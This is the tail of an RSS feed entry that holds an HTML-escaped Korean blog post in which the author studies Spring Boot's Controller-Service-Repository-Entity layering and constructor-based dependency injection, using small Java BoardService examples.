&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 MySQL 워크벤치에서 SQL구문으로 db_first라는 데이터베이스를 만들어주었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 스프링부트의 전체 구조&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞선 글에서 글 작성 기능을 폼을 통해서 만들었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 스프링부트의 전체 구조를 재대로 파악하지 못 했다보니, 서비스나 엔티티를 만들어야한다곤 하는데..&lt;br /&gt;왜, 어떻게 만들어야하는지가 재대로 학습되지 못 했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;때문에 이번엔 시간을 가지고 스프링부트의 구조와 최근 스프링부트 개발에서 가장 권장되는 방식인 생성자 주입 방식에 대해서 더 자세히 알아가보고자 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스프링부트의 구조를 공부하다보니, 역할이 명확히 분리된 구조를 가진다는걸 알게되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자&amp;nbsp;(브라우저)&lt;/b&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;darr;&amp;nbsp;요청&amp;nbsp;(HTTP) &lt;br /&gt;&lt;b&gt;Controller&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;larr;&amp;nbsp;사용자의&amp;nbsp;요청을&amp;nbsp;받는&amp;nbsp;부분 &lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;darr; &lt;/b&gt;&lt;br /&gt;&lt;b&gt;Service&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;larr; 핵심 로직&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;darr; &lt;/b&gt;&lt;br /&gt;&lt;b&gt;Repository&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;larr; DB와 직접 통신, 데이터를 저장하고 조회&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;darr; &lt;/b&gt;&lt;br /&gt;&lt;b&gt;Entity&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;larr; DB 테이블과 1:1로 매핑된 자바 객체, 실제 데이터 구조&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 단계로 서비스가 작동 한다는걸 알았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 지금 컨트롤러 부분까지 만들었으니, 글을 작성하는 핵심 로직인 서비스와, 그걸 저장하고 그 저장하는 공간을 만드는 레파지토리와 엔티티를 작성할 차례라는걸 알 수 있었습니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 생성자 주입 방식이란&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성자 주입 방식이란 스프링부트에서 의존성을 주입하는 3가지의 방식 중 하나입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이에 대해서 더 자세히 이해할려면 의존성 주입에 관하여 공부를 해야겠네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;의존성(Dependency)이란, 어떤 객체가 다른 객체를 필요로 하는 관계를 뜻합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1759989707016&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class BoardService {
    private BoardRepository boardRepository;

    public void savePost() {
        boardRepository.save(); // BoardRepository가 필요함
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 BoardService를 보면 savePost() 에서 BoardRepository의 save() 메서드를 호출하고있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 BoardService가 재대로 동작하려면 BoardRepository에서 메서드를 가져불러와야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 관계를 BoardService가 BoardRepository에 의존한다 라고 말 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 의존성 주입(Dependency Injection, DI)는 말 그대로 의존성을 넣어주는겁니다. 이때 우리가 직접 만드는게 아닌 스프링이 넣어주는 방식인거죠.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래는..&lt;/p&gt;
&lt;pre id=&quot;code_1759989946618&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class BoardService {
    private BoardRepository boardRepository = new BoardRepository();
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 방식으로 BoardService안에 BoardRepository에 관하여 선언을 해줘야했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제가 학교에서 자바시간에 배울때도 이렇게 작성했었네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 요즘에는 유지보수와 테스트 등 여러방면에서 불편하여 이러한 방식을 사용하지 않는다고합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스프링이 여러 어노테이션을 보고 자동으로 의존성 주입을 해주며 그러한 방식을 선호한다네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스프링의 IoC 컨테이너(Bean Container)가 이를 담당한답니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음에 더 자세히 알아봐야겠네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성자 주입은 이러한 스프링의 자동 의존성 주입의 방법 중 하나입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1759990190202&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Service
@RequiredArgsConstructor // lombok이 final 필드 기반으로 생성자 자동 생성
public class BoardService {

    private final BoardRepository boardRepository;  // 의존성

    public void save(Board board) {
        boardRepository.save(board);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@Service 어노테이션을 통하여 이 클래스가 서비스 역할을 한다는것을 스프링에알리면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Lombok에 포함된 @RequiredArgsConstructor 어노테이션이 final 필드를 기반으로 생성자를 만들어줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 스프링이 BoardRepository를 자동으로 찾아서 넣어주는 식으로 동작합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 방식을 통해 개발자가 직접 new를 쓰는 수고를 덜 할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘 공부한걸 통해서 글쓰기 서비스의 백엔드 부분을 마무리하고 더 다양한 기능들을 추가 해보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>보안/실습</category>
      <author>윤형주</author>
      <guid isPermaLink="true">https://yoongarret.tistory.com/187</guid>
      <comments>https://yoongarret.tistory.com/187#entry187comment</comments>
      <pubDate>Thu, 9 Oct 2025 15:13:28 +0900</pubDate>
    </item>
  </channel>
</rss>